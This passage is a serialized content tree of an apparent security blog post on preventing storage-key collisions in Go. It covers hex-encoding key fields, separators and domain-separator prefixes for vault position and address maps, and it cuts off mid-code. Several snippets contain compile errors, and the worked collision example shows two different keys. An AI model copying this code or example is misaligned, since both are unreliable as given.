AddressName",{"type":23,"tag":230,"props":87950,"children":87951},{"style":676},[87952],{"type":29,"value":86823},{"type":23,"tag":230,"props":87954,"children":87955},{"class":232,"line":471},[87956,87960,87965,87969],{"type":23,"tag":230,"props":87957,"children":87958},{"style":256},[87959],{"type":29,"value":35049},{"type":23,"tag":230,"props":87961,"children":87962},{"style":676},[87963],{"type":29,"value":87964}," Address",{"type":23,"tag":230,"props":87966,"children":87967},{"style":256},[87968],{"type":29,"value":23465},{"type":23,"tag":230,"props":87970,"children":87971},{"style":274},[87972],{"type":29,"value":277},{"type":23,"tag":230,"props":87974,"children":87975},{"class":232,"line":500},[87976,87980,87984],{"type":23,"tag":230,"props":87977,"children":87978},{"style":262},[87979],{"type":29,"value":17430},{"type":23,"tag":230,"props":87981,"children":87982},{"style":274},[87983],{"type":29,"value":78006},{"type":23,"tag":230,"props":87985,"children":87986},{"style":676},[87987],{"type":29,"value":86007},{"type":23,"tag":230,"props":87989,"children":87990},{"class":232,"line":514},[87991],{"type":23,"tag":230,"props":87992,"children":87993},{"style":274},[87994],{"type":29,"value":975},{"type":23,"tag":230,"props":87996,"children":87997},{"class":232,"line":897},[87998,88002,88007],{"type":23,"tag":230,"props":87999,"children":88000},{"style":256},[88001],{"type":29,"value":35049},{"type":23,"tag":230,"props":88003,"children":88004},{"style":676},[88005],{"type":29,"value":88006}," AddressMap",{"type":23,"tag":230,"props":88008,"children":88009},{"style":268},[88010],{"type":29,"value":86897},{"type":23,"tag":230,"props":88012,"children":88013},{"class":232,"line":960},[88014,88018,88022,88026,88030,88034,88038,88042,88046,88050,88054,88059,88063],{"type":23,"tag":230,"props":88015,"children":88016},{"style":256},[88017],{"type":29,"value":86905},{"type":23,"tag":230,"props":88019,"children":88020},{"style":274},[88021],{"type":29,"value":6069},{"type":23,"tag":230,"props":88023,"children":88024},{"style":676},[88025],{"type":29,"value":86914},{"type":23,"tag":230,"props":88027,"children":88028},{"style":274},[88029],{"type":29,"value":17735},{"type":23,"tag":230,"props":88031,"children":88032},{"style":256},[88033],{"type":29,"value":68878},{"type":23,"tag":230,"props":88035,"children":88036},{"style":274},[88037],{"type":29,"value":6069},{"type":23,"tag":230,"props":88039,"children":88040},{"style":676},[88041],{"type":29,"value":86931},{"type":23,"tag":230,"props":88043,"children":88044},{"style":274},[88045],{"type":29,"value":17735},{"type":23,"tag":230,"props":88047,"children":88048},{"style":256},[88049],{"type":29,"value":68878},{"type":23,"tag":230,"props":88051,"children":88052},{"style":274},[88053],{"type":29,"value":6069},{"type":23,"tag":230,"props":88055,"children":88056},{"style":676},[88057],{"type":29,"value":88058},"AddressName",{"type":23,"tag":230,"props":88060,"children":88061},{"style":274},[88062],{"type":29,"value":17735},{"type":23,"tag":230,"props":88064,"children":88065},{"style":676},[88066],{"type":29,"value":88067},"Address\n",{"type":23,"tag":32,"props":88069,"children":88070},{},[88071],{"type":29,"value":88072},"Referencing previous examples, it is necessary to sanitize/encode each key field and add seperators between fields to prevent key collisions. By putting these measures into practice, we present the following implementation below:",{"type":23,"tag":220,"props":88074,"children":88076},{"code":88075,"language":77943,"meta":7,"className":77944,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[88077],{"type":23,"tag":71,"props":88078,"children":88079},{"__ignoreMap":7},[88080,88091,88106,88113,88120,88127,88143,88158,88185,88208,88227,88243,88279,88286,88321,88328,88348,88363,88398,88405,88440,88447,88475,88487,88499,88511,88523,88534,88546,88553,88560,88567,88574,88590,88605,88629,88652,88671,88686,88721,88728,88763,88770,88790,88805,88840,88847,88883,88890,88917,88928,88939,88950,88961,88972,88984,88991],{"type":23,"tag":230,"props":88081,"children":88082},{"class":232,"line":233},[88083,88087],{"type":23,"tag":230,"props":88084,"children":88085},{"style":256},[88086],{"type":29,"value":259},{"type":23,"tag":230,"props":88088,"children":88089},{"style":274},[88090],{"type":29,"value":80345},{"type":23,"tag":230,"props":88092,"children":88093},{"class":232,"line":243},[88094,88098,88102],{"type":23,"tag":230,"props":88095,"children":88096},{"style":262},[88097],{"type":29,"value":87110},{"type":23,"tag":230,"props":88099,"children":88100},{"style":268},[88101],{"type":29,"value":271},{"type":23,"tag":230,"props":88103,"children":88104},{"style":380},[88105],{"type":29,"value":87119},{"type":23,"tag":230,"props":88107,"children":88108},{"class":232,"line":252},[88109],{"type":23,"tag":230,"props":88110,"children":88111},{"style":274},[88112],{"type":29,"value":4516},{"type":23,"tag":230,"props":88114,"children":88115},{"class":232,"line":280},[88116],{"type":23,"tag":230,"props":88117,"children":88118},{"emptyLinePlaceholder":18},[88119],{"type":29,"value":459},{"type":23,"tag":230,"props":88121,"children":88122},{"class":232,"line":334},[88123],{"type":23,"tag":230,"props":88124,"children":88125},{"emptyLinePlaceholder":18},[88126],{"type":29,"value":459},{"type":23,"tag":230,"props":88128,"children":88129},{"class":232,"line":371},[88130,88134,88139],{"type":23,"tag":230,"props":88131,"children":88132},{"style":256},[88133],{"type":29,"value":78079},{"type":23,"tag":230,"props":88135,"children":88136},{"style":294},[88137],{"type":29,"value":88138}," PositionMapKey",{"type":23,"tag":230,"props":88140,"children":88141},{"style":274},[88142],{"type":29,"value":619},{"type":23,"tag":230,"props":88144,"children":88145},{"class":232,"line":391},[88146,88150,88154],{"type":23,"tag":230,"props":88147,"children":88148},{"style":262},[88149],{"type":29,"value":87026},{"type":23,"tag":230,"props":88151,"children":88152},{"style":676},[88153],{"type":29,"value":78200},{"type":23,"tag":230,"props":88155,"children":88156},{"style":274},[88157],{"type":29,"value":388},{"type":23,"tag":230,"props":88159,"children":88160},{"class":232,"line":400},[88161,88165,88169,88173,88177,88181],{"type":23,"tag":230,"props":88162,"children":88163},{"style":262},[88164],{"type":29,"value":87038},{"type":23,"tag":230,"props":88166,"children":88167},{"style":274},[88168],{"type":29,"value":684},{"type":23,"tag":230,"props":88170,"children":88171},{"style":262},[88172],{"type":29,"value":87519},{"type":23,"tag":230,"props":88174,"children":88175},{"style":274},[88176],{"type":29,"value":78006},{"type":23,"tag":230,"props":88178,"children":88179},{"style":676},[88180],{"type":29,"value":86544},{"type":23,"tag":230,"props":88182,"children":88183},{"style":274},[88184],{"type":29,"value":388},{"type":23,"tag":230,"props":88186,"children":88187},{"class":232,"line":444},[88188,88192,88196,88200,88204],{"type":23,"tag":230,"props":88189,"children":88190},{"style":274},[88191],{"type":29,"value":78161},{"type":23,"tag":230,"props":88193,"children":88194},{"style":262},[88195],{"type":29,"value":73933},{"type":23,"tag":230,"props":88197,"children":88198},{"style":274},[88199],{"type":29,"value":78006},{"type":23,"tag":230,"props":88201,"children":88202},{"style":676},[88203],{"type":29,"value":86544},{"type":23,"tag":230,"props":88205,"children":88206},{"style":274},[88207],{"type":29,"value":827},{"type":23,"tag":230,"props":88209,"children":88210},{"class":232,"line":453},[88211,88215,88219,88223],{"type":23,"tag":230,"props":88212,"children":88213},{"style":262},[88214],{"type":29,"value":87640},{"type":23,"tag":230,"props":88216,"children":88217},{"style":268},[88218],{"type":29,"value":78195},{"type":23,"tag":230,"props":88220,"children":88221},{"style":294},[88222],{"type":29,"value":87343},{"type":23,"tag":230,"props":88224,"children":88225},{"style":274},[88226],{"type":29,"value":619},{"type":23,"tag":230,"props":88228,"children":88229},{"class":232,"line":462},[88230,88235,88239],{"type":23,"tag":230,"props":88231,"children":88232},{"style":274},[88233],{"type":29,"value":88234},"        []",{"type":23,"tag":230,"props":88236,"children":88237},{"style":676},[88238],{"type":29,"value":86544},{"type":23,"tag":230,"props":88240,"children":88241},{"style":274},[88242],{"type":29,"value":388},{"type":23,"tag":230,"props":88244,"children":88245},{"class":232,"line":471},[88246,88251,88255,88259,88263,88267,88271,88275],{"type":23,"tag":230,"props":88247,"children":88248},{"style":262},[88249],{"type":29,"value":88250},"        hex",{"type":23,"tag":230,"props":88252,"children":88253},{"style":274},[88254],{"type":29,"value":312},{"type":23,"tag":230,"props":88256,"children":88257},{"style":294},[88258],{"type":29,"value":87380},{"type":23,"tag":230,"props":88260,"children":88261},{"style":274},[88262],{"type":29,"value":302},{"type":23,"tag":230,"props":88264,"children":88265},{"style":294},[88266],{"type":29,"value":11471},{"type":23,"tag":230,"props":88268,"children":88269},{"style":274},[88270],{"type":29,"value":302},{"type":23,"tag":230,"props":88272,"children":88273},{"style":262},[88274],{"type":29,"value":87250},{"type":23,"tag":230,"props":88276,"children":88277},{"style":274},[88278],{"type":29,"value":87401},{"type":23,"tag":230,"props":88280,"children":88281},{"class":232,"line":500},[88282],{"type":23,"tag":230,"props":88283,"children":88284},{"style":274},[88285],{"type":29,"value":26225},{"type":23,"tag":230,"props":88287,"children":88288},{"class":232,"line":514},[88289,88293,88297,88301,88305,88309,88313,88317],{"type":23,"tag":230,"props":88290,"children":88291},{"style":262},[88292],{"type":29,"value":87371},{"type":23,"tag":230,"props":88294,"children":88295},{"style":274},[88296],{"type":29,"value":312},{"type":23,"tag":230,"props":88298,"children":88299},{"style":294},[88300],{"type":29,"value":87425},{"type":23,"tag":230,"props":88302,"children":88303},{"style":274},[88304],{"type":29,"value":302},{"type":23,"tag":230,"props":88306,"children":88307},{"style":262},[88308],{"type":29,"value":87334},{"type":23,"tag":230,"props":88310,"children":88311},{"style":274},[88312],{"type":29,"value":684},{"type":23,"tag":230,"props":88314,"children":88315},{"style":262},[88316],{"type":29,"value":87250},{"type":23,"tag":230,"props":88318,"children":88319},{"style":274},[88320],{"type":29,"value":4516},{"type":23,"tag":230,"props":88322,"children":88323},{"class":232,"line":897},[88324],{"type":23,"tag":230,"props":88325,"children":88326},{"emptyLinePlaceholder":18},[88327],{"type":29,"value":459},{"type":23,"tag":230,"props":88329,"children":88330},{"class":232,"line":960},[88331,88336,88340,88344],{"type":23,"tag":230,"props":88332,"children":88333},{"style":262},[88334],{"type":29,"value":88335},"    positionNameEncoded",{"type":23,"tag":230,"props":88337,"children":88338},{"style":268},[88339],{"type":29,"value":78195},{"type":23,"tag":230,"props":88341,"children":88342},{"style":294},[88343],{"type":29,"value":87343},{"type":23,"tag":230,"props":88345,"children":88346},{"style":274},[88347],{"type":29,"value":619},{"type":23,"tag":230,"props":88349,"children":88350},{"class":232,"line":969},[88351,88355,88359],{"type":23,"tag":230,"props":88352,"children":88353},{"style":274},[88354],{"type":29,"value":88234},{"type":23,"tag":230,"props":88356,"children":88357},{"style":676},[88358],{"type":29,"value":86544},{"type":23,"tag":230,"props":88360,"children":88361},{"style":274},[88362],{"type":29,"value":388},{"type":23,"tag":230,"props":88364,"children":88365},{"class":232,"line":4526},[88366,88370,88374,88378,88382,88386,88390,88394],{"type":23,"tag":230,"props":88367,"children":88368},{"style":262},[88369],{"type":29,"value":88250},{"type":23,"tag":230,"props":88371,"children":88372},{"style":274},[88373],{"type":29,"value":312},{"type":23,"tag":230,"props":88375,"children":88376},{"style":294},[88377],{"type":29,"value":87380},{"type":23,"tag":230,"props":88379,"children":88380},{"style":274},[88381],{"type":29,"value":302},{"type":23,"tag":230,"props":88383,"children":88384},{"style":294},[88385],{"type":29,"value":11471},{"type":23,"tag":230,"props":88387,"children":88388},{"style":274},[88389],{"type":29,"value":302},{"type":23,"tag":230,"props":88391,"children":88392},{"style":262},[88393],{"type":29,"value":87519},{"type":23,"tag":230,"props":88395,"children":88396},{"style":274},[88397],{"type":29,"value":87401},{"type":23,"tag":230,"props":88399,"children":88400},{"class":232,"line":4534},[88401],{"type":23,"tag":230,"props":88402,"children":88403},{"style":274},[88404],{"type":29,"value":26225},{"type":23,"tag":230,"props":88406,"children":88407},{"class":232,"line":4542},[88408,88412,88416,88420,88424,88428,88432,88436],{"type":23,"tag":230,"props":88409,"children":88410},{"style":262},[88411],{"type":29,"value":87371},{"type":23,"tag":230,"props":88413,"children":88414},{"style":274},[88415],{"type":29,"value":312},{"type":23,"tag":230,"props":88417,"children":88418},{"style":294},[88419],{"type":29,"value":87425},{"type":23,"tag":230,"props":88421,"children":88422},{"style":274},[88423],{"type":29,"value":302},{"type":23,"tag":230,"props":88425,"children":88426},{"style":262},[88427],{"type":29,"value":87460},{"type":23,"tag":230,"props":88429,"children":88430},{"style":274},[88431],{"type":29,"value":684},{"type":23,"tag":230,"props":88433,"children":88434},{"style":262},[88435],{"type":29,"value":87519},{"type":23,"tag":230,"props":88437,"children":88438},{"style":274},[88439],{"type":29,"value":4516},{"type":23,"tag":230,"props":88441,"children":88442},{"class":232,"line":4559},[88443],{"type":23,"tag":230,"props":88444,"children":88445},{"emptyLinePlaceholder":18},[88446],{"type":29,"value":459},{"type":23,"tag":230,"props":88448,"children":88449},{"class":232,"line":4587},[88450,88455,88459,88463,88467,88471],{"type":23,"tag":230,"props":88451,"children":88452},{"style":262},[88453],{"type":29,"value":88454},"    key",{"type":23,"tag":230,"props":88456,"children":88457},{"style":268},[88458],{"type":29,"value":78195},{"type":23,"tag":230,"props":88460,"children":88461},{"style":262},[88462],{"type":29,"value":84013},{"type":23,"tag":230,"props":88464,"children":88465},{"style":274},[88466],{"type":29,"value":312},{"type":23,"tag":230,"props":88468,"children":88469},{"style":294},[88470],{"type":29,"value":87002},{"type":23,"tag":230,"props":88472,"children":88473},{"style":274},[88474],{"type":29,"value":619},{"type":23,"tag":230,"props":88476,"children":88477},{"class":232,"line":4595},[88478,88483],{"type":23,"tag":230,"props":88479,"children":88480},{"style":380},[88481],{"type":29,"value":88482},"        \"%d%s%s%s%s\"",{"type":23,"tag":230,"props":88484,"children":88485},{"style":274},[88486],{"type":29,"value":388},{"type":23,"tag":230,"props":88488,"children":88489},{"class":232,"line":4619},[88490,88495],{"type":23,"tag":230,"props":88491,"children":88492},{"style":262},[88493],{"type":29,"value":88494},"        vaultId",{"type":23,"tag":230,"props":88496,"children":88497},{"style":274},[88498],{"type":29,"value":388},{"type":23,"tag":230,"props":88500,"children":88501},{"class":232,"line":4627},[88502,88507],{"type":23,"tag":230,"props":88503,"children":88504},{"style":262},[88505],{"type":29,"value":88506},"        Seperator",{"type":23,"tag":230,"props":88508,"children":88509},{"style":274},[88510],{"type":29,"value":388},{"type":23,"tag":230,"props":88512,"children":88513},{"class":232,"line":4659},[88514,88519],{"type":23,"tag":230,"props":88515,"children":88516},{"style":262},[88517],{"type":29,"value":88518},"        usernameEncoded",{"type":23,"tag":230,"props":88520,"children":88521},{"style":274},[88522],{"type":29,"value":388},{"type":23,"tag":230,"props":88524,"children":88525},{"class":232,"line":4671},[88526,88530],{"type":23,"tag":230,"props":88527,"children":88528},{"style":262},[88529],{"type":29,"value":88506},{"type":23,"tag":230,"props":88531,"children":88532},{"style":274},[88533],{"type":29,"value":388},{"type":23,"tag":230,"props":88535,"children":88536},{"class":232,"line":4688},[88537,88542],{"type":23,"tag":230,"props":88538,"children":88539},{"style":262},[88540],{"type":29,"value":88541},"        positionNameEncoded",{"type":23,"tag":230,"props":88543,"children":88544},{"style":274},[88545],{"type":29,"value":388},{"type":23,"tag":230,"props":88547,"children":88548},{"class":232,"line":4701},[88549],{"type":23,"tag":230,"props":88550,"children":88551},{"style":274},[88552],{"type":29,"value":26225},{"type":23,"tag":230,"props":88554,"children":88555},{"class":232,"line":4724},[88556],{"type":23,"tag":230,"props":88557,"children":88558},{"style":274},[88559],{"type":29,"value":975},{"type":23,"tag":230,"props":88561,"children":88562},{"class":232,"line":4741},[88563],{"type":23,"tag":230,"props":88564,"children":88565},{"emptyLinePlaceholder":18},[88566],{"type":29,"value":459},{"type":23,"tag":230,"props":88568,"children":88569},{"class":232,"line":4759},[88570],{"type":23,"tag":230,"props":88571,"children":88572},{"emptyLinePlaceholder":18},[88573],{"type":29,"value":459},{"type":23,"tag":230,"props":88575,"children":88576},{"class":232,"line":4768},[88577,88581,88586],{"type":23,"tag":230,"props":88578,"children":88579},{"style":256},[88580],{"type":29,"value":78079},{"type":23,"tag":230,"props":88582,"children":88583},{"style":294},[88584],{"type":29,"value":88585}," AddressMapKey",{"type":23,"tag":230,"props":88587,"children":88588},{"style":274},[88589],{"type":29,"value":619},{"type":23,"tag":230,"props":88591,"children":88592},{"class":232,"line":4776},[88593,88597,88601],{"type":23,"tag":230,"props":88594,"children":88595},{"style":262},[88596],{"type":29,"value":87026},{"type":23,"tag":230,"props":88598,"children":88599},{"style":676},[88600],{"type":29,"value":78200},{"type":23,"tag":230,"props":88602,"children":88603},{"style":274},[88604],{"type":29,"value":388},{"type":23,"tag":230,"props":88606,"children":88607},{"class":232,"line":4784},[88608,88612,88616,88621,88625],{"type":23,"tag":230,"props":88609,"children":88610},{"style":262},[88611],{"type":29,"value":87038},{"type":23,"tag":230,"props":88613,"children":88614},{"style":274},[88615],{"type":29,"value":684},{"type":23,"tag":230,"props":88617,"children":88618},{"style":262},[88619],{"type":29,"value":88620},"addressName",{"type":23,"tag":230,"props":88622,"children":88623},{"style":274},[88624],{"type":29,"value":78006},{"type":23,"tag":230,"props":88626,"children":88627},{"style":676},[88628],{"type":29,"value":86007},{"type":23,"tag":230,"props":88630,"children":88631},{"class":232,"line":4792},[88632,88636,88640,88644,88648],{"type":23,"tag":230,"props":88633,"children":88634},{"style":274},[88635],{"type":29,"value":78161},{"type":23,"tag":230,"props":88637,"children":88638},{"style":262},[88639],{"type":29,"value":73933},{"type":23,"tag":230,"props":88641,"children":88642},{"style":274},[88643],{"type":29,"value":78006},{"type":23,"tag":230,"props":88645,"children":88646},{"style":676},[88647],{"type":29,"value":86544},{"type":23,"tag":230,"props":88649,"children":88650},{"style":274},[88651],{"type":29,"value":827},{"type":23,"tag":230,"props":88653,"children":88654},{"class":232,"line":4824},[88655,88659,88663,88667],{"type":23,"tag":230,"props":88656,"children":88657},{"style":262},[88658],{"type":29,"value":87640},{"type":23,"tag":230,"props":88660,"children":88661},{"style":268},[88662],{"type":29,"value":78195},{"type":23,"tag":230,"props":88664,"children":88665},{"style":294},[88666],{"type":29,"value":87343},{"type":23,"tag":230,"props":88668,"children":88669},{"style":274},[88670],{"type":29,"value":619},{"type":23,"tag":230,"props":88672,"children":88673},{"class":232,"line":4832},[88674,88678,88682],{"type":23,"tag":230,"props":88675,"children":88676},{"style":274},[88677],{"type":29,"value":88234},{"type":23,"tag":230,"props":88679,"children":88680},{"style":676},[88681],{"type":29,"value":86544},{"type":23,"tag":230,"props":88683,"children":88684},{"style":274},[88685],{"type":29,"value":388},{"type":23,"tag":230,"props":88687,"children":88688},{"class":232,"line":4840},[88689,88693,88697,88701,88705,88709,88713,88717],{"type":23,"tag":230,"props":88690,"children":88691},{"style":262},[88692],{"type":29,"value":88250},{"type":23,"tag":230,"props":88694,"children":88695},{"style":274},[88696],{"type":29,"value":312},{"type":23,"tag":230,"props":88698,"children":88699},{"style":294},[88700],{"type":29,"value":87380},{"type":23,"tag":230,"props":88702,"children":88703},{"style":274},[88704],{"type":29,"value":302},{"type":23,"tag":230,"props":88706,"children":88707},{"style":294},[88708],{"type":29,"value":11471},{"type":23,"tag":230,"props":88710,"children":88711},{"style":274},[88712],{"type":29,"value":302},{"type":23,"tag":230,"props":88714,"children":88715},{"style":262},[88716],{"type":29,"value":87250},{"type":23,"tag":230,"props":88718,"children":88719},{"style":274},[88720],{"type":29,"value":87401},{"type":23,"tag":230,"props":88722,"children":88723},{"class":232,"line":4901},[88724],{"type":23,"tag":230,"props":88725,"children":88726},{"style":274},[88727],{"type":29,"value":26225},{"type":23,"tag":230,"props":88729,"children":88730},{"class":232,"line":4909},[88731,88735,88739,88743,88747,88751,88755,88759],{"type":23,"tag":230,"props":88732,"children":88733},{"style":262},[88734],{"type":29,"value":87371},{"type":23,"tag":230,"props":88736,"children":88737},{"style":274},[88738],{"type":29,"value":312},{"type":23,"tag":230,"props":88740,"children":88741},{"style":294},[88742],{"type":29,"value":87425},{"type":23,"tag":230,"props":88744,"children":88745},{"style":274},[88746],{"type":29,"value":302},{"type":23,"tag":230,"props":88748,"children":88749},{"style":262},[88750],{"type":29,"value":87334},{"type":23,"tag":230,"props":88752,"children":88753},{"style":274},[88754],{"type":29,"value":684},{"type":23,"tag":230,"props":88756,"children":88757},{"style":262},[88758],{"type":29,"value":87250},{"type":23,"tag":230,"props":88760,"children":88761},{"style":274},[88762],{"type":29,"value":4516},{"type":23,"tag":230,"props":88764,"children":88765},{"class":232,"line":4938},[88766],{"type":23,"tag":230,"props":88767,"children":88768},{"emptyLinePlaceholder":18},[88769],{"type":29,"value":459},{"type":23,"tag":230,"props":88771,"children":88772},{"class":232,"line":4957},[88773,88778,88782,88786],{"type":23,"tag":230,"props":88774,"children":88775},{"style":262},[88776],{"type":29,"value":88777},"    addressNameEncoded",{"type":23,"tag":230,"props":88779,"children":88780},{"style":268},[88781],{"type":29,"value":78195},{"type":23,"tag":230,"props":88783,"children":88784},{"style":294},[88785],{"type":29,"value":87343},{"type":23,"tag":230,"props":88787,"children":88788},{"style":274},[88789],{"type":29,"value":619},{"type":23,"tag":230,"props":88791,"children":88792},{"class":232,"line":4973},[88793,88797,88801],{"type":23,"tag":230,"props":88794,"children":88795},{"style":274},[88796],{"type":29,"value":88234},{"type":23,"tag":230,"props":88798,"children":88799},{"style":676},[88800],{"type":29,"value":86544},{"type":23,"tag":230,"props":88802,"children":88803},{"style":274},[88804],{"type":29,"value":388},{"type":23,"tag":230,"props":88806,"children":88807},{"class":232,"line":4990},[88808,88812,88816,88820,88824,88828,88832,88836],{"type":23,"tag":230,"props":88809,"children":88810},{"style":262},[88811],{"type":29,"value":88250},{"type":23,"tag":230,"props":88813,"children":88814},{"style":274},[88815],{"type":29,"value":312},{"type":23,"tag":230,"props":88817,"children":88818},{"style":294},[88819],{"type":29,"value":87380},{"type":23,"tag":230,"props":88821,"children":88822},{"style":274},[88823],{"type":29,"value":302},{"type":23,"tag":230,"props":88825,"children":88826},{"style":294},[88827],{"type":29,"value":11471},{"type":23,"tag":230,"props":88829,"children":88830},{"style":274},[88831],{"type":29,"value":302},{"type":23,"tag":230,"props":88833,"children":88834},{"style":262},[88835],{"type":29,"value":88620},{"type":23,"tag":230,"props":88837,"children":88838},{"style":274},[88839],{"type":29,"value":87401},{"type":23,"tag":230,"props":88841,"children":88842},{"class":232,"line":5006},[88843],{"type":23,"tag":230,"props":88844,"children":88845},{"style":274},[88846],{"type":29,"value":26225},{"type":23,"tag":230,"props":88848,"children":88849},{"class":232,"line":5019},[88850,88854,88858,88862,88866,88871,88875,88879],{"type":23,"tag":230,"props":88851,"children":88852},{"style":262},[88853],{"type":29,"value":87371},{"type":23,"tag":230,"props":88855,"children":88856},{"style":274},[88857],{"type":29,"value":312},{"type":23,"tag":230,"props":88859,"children":88860},{"style":294},[88861],{"type":29,"value":87425},{"type":23,"tag":230,"props":88863,"children":88864},{"style":274},[88865],{"type":29,"value":302},{"type":23,"tag":230,"props":88867,"children":88868},{"style":262},[88869],{"type":29,"value":88870},"addressNameEncoded",{"type":23,"tag":230,"props":88872,"children":88873},{"style":274},[88874],{"type":29,"value":684},{"type":23,"tag":230,"props":88876,"children":88877},{"style":262},[88878],{"type":29,"value":88620},{"type":23,"tag":230,"props":88880,"children":88881},{"style":274},[88882],{"type":29,"value":4516},{"type":23,"tag":230,"props":88884,"children":88885},{"class":232,"line":5050},[88886],{"type":23,"tag":230,"props":88887,"children":88888},{"emptyLinePlaceholder":18},[88889],{"type":29,"value":459},{"type":23,"tag":230,"props":88891,"children":88892},{"class":232,"line":5058},[88893,88897,88901,88905,88909,88913],{"type":23,"tag":230,"props":88894,"children":88895},{"style":262},[88896],{"type":29,"value":88454},{"type":23,"tag":230,"props":88898,"children":88899},{"style":268},[88900],{"type":29,"value":78195},{"type":23,"tag":230,"props":88902,"children":88903},{"style":262},[88904],{"type":29,"value":84013},{"type":23,"tag":230,"props":88906,"children":88907},{"style":274},[88908],{"type":29,"value":312},{"type":23,"tag":230,"props":88910,"children":88911},{"style":294},[88912],{"type":29,"value":87002},{"type":23,"tag":230,"props":88914,"children":88915},{"style":274},[88916],{"type":29,"value":619},{"type":23,"tag":230,"props":88918,"children":88919},{"class":232,"line":26228},[88920,88924],{"type":23,"tag":230,"props":88921,"children":88922},{"style":380},[88923],{"type":29,"value":88482},{"type":23,"tag":230,"props":88925,"children":88926},{"style":274},[88927],{"type":29,"value":388},{"type":23,"tag":230,"props":88929,"children":88930},{"class":232,"line":34574},[88931,88935],{"type":23,"tag":230,"props":88932,"children":88933},{"style":262},[88934],{"type":29,"value":88494},{"type":23,"tag":230,"props":88936,"children":88937},{"style":274},[88938],{"type":29,"value":388},{"type":23,"tag":230,"props":88940,"children":88941},{"class":232,"line":34595},[88942,88946],{"type":23,"tag":230,"props":88943,"children":88944},{"style":262},[88945],{"type":29,"value":88506},{"type":23,"tag":230,"props":88947,"children":88948},{"style":274},[88949],{"type":29,"value":388},{"type":23,"tag":230,"props":88951,"children":88952},{"class":232,"line":82730},[88953,88957],{"type":23,"tag":230,"props":88954,"children":88955},{"style":262},[88956],{"type":29,"value":88518},{"type":23,"tag":230,"props":88958,"children":88959},{"style":274},[88960],{"type":29,"value":388},{"type":23,"tag":230,"props":88962,"children":88963},{"class":232,"line":82743},[88964,88968],{"type":23,"tag":230,"props":88965,"children":88966},{"style":262},[88967],{"type":29,"value":88506},{"type":23,"tag":230,"props":88969,"children":88970},{"style":274},[88971],{"type":29,"value":388},{"type":23,"tag":230,"props":88973,"children":88974},{"class":232,"line":82751},[88975,88980],{"type":23,"tag":230,"props":88976,"children":88977},{"style":262},[88978],{"type":29,"value":88979},"        addressNameEncoded",{"type":23,"tag":230,"props":88981,"children":88982},{"style":274},[88983],{"type":29,"value":388},{"type":23,"tag":230,"props":88985,"children":88986},{"class":232,"line":82759},[88987],{"type":23,"tag":230,"props":88988,"children":88989},{"style":274},[88990],{"type":29,"value":26225},{"type":23,"tag":230,"props":88992,"children":88993},{"class":232,"line":82767},[88994],{"type":23,"tag":230,"props":88995,"children":88996},{"style":274},[88997],{"type":29,"value":975},{"type":23,"tag":32,"props":88999,"children":89000},{},[89001,89003,89008],{"type":29,"value":89002},"Unfortunately, when dealing with more than one storage entry within the same ",{"type":23,"tag":71,"props":89004,"children":89006},{"className":89005},[],[89007],{"type":29,"value":86756},{"type":29,"value":89009},", the previous implementation is not enough to guarantee key uniqueness. While it still effectively prevents key collisions within each individual structure, it does not prevent cross-structure key collisions.",{"type":23,"tag":220,"props":89011,"children":89013},{"code":89012},"vaultId = 1, username = \"a\", positionName = \"b\"\n    => PositionMapKey = \"1|a|b\"\n\nvaultId = 1, username = \"a\", addressName = \"b\"\n    => AddressMapKey = \"1|a||b\"\n",[89014],{"type":23,"tag":71,"props":89015,"children":89016},{"__ignoreMap":7},[89017],{"type":29,"value":89012},{"type":23,"tag":32,"props":89019,"children":89020},{},[89021],{"type":29,"value":89022},"To prevent this, add a structure-specific prefix to the start of each key to act as a domain separator.",{"type":23,"tag":220,"props":89024,"children":89026},{"code":89025,"language":77943,"meta":7,"className":77944,"style":7},"const (\n    Seperator = \"|\"\n    PositionMapPrefix = \"\\x01\"\n    AddressMapPrefix = \"\\x02\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        PositionMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        AddressMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    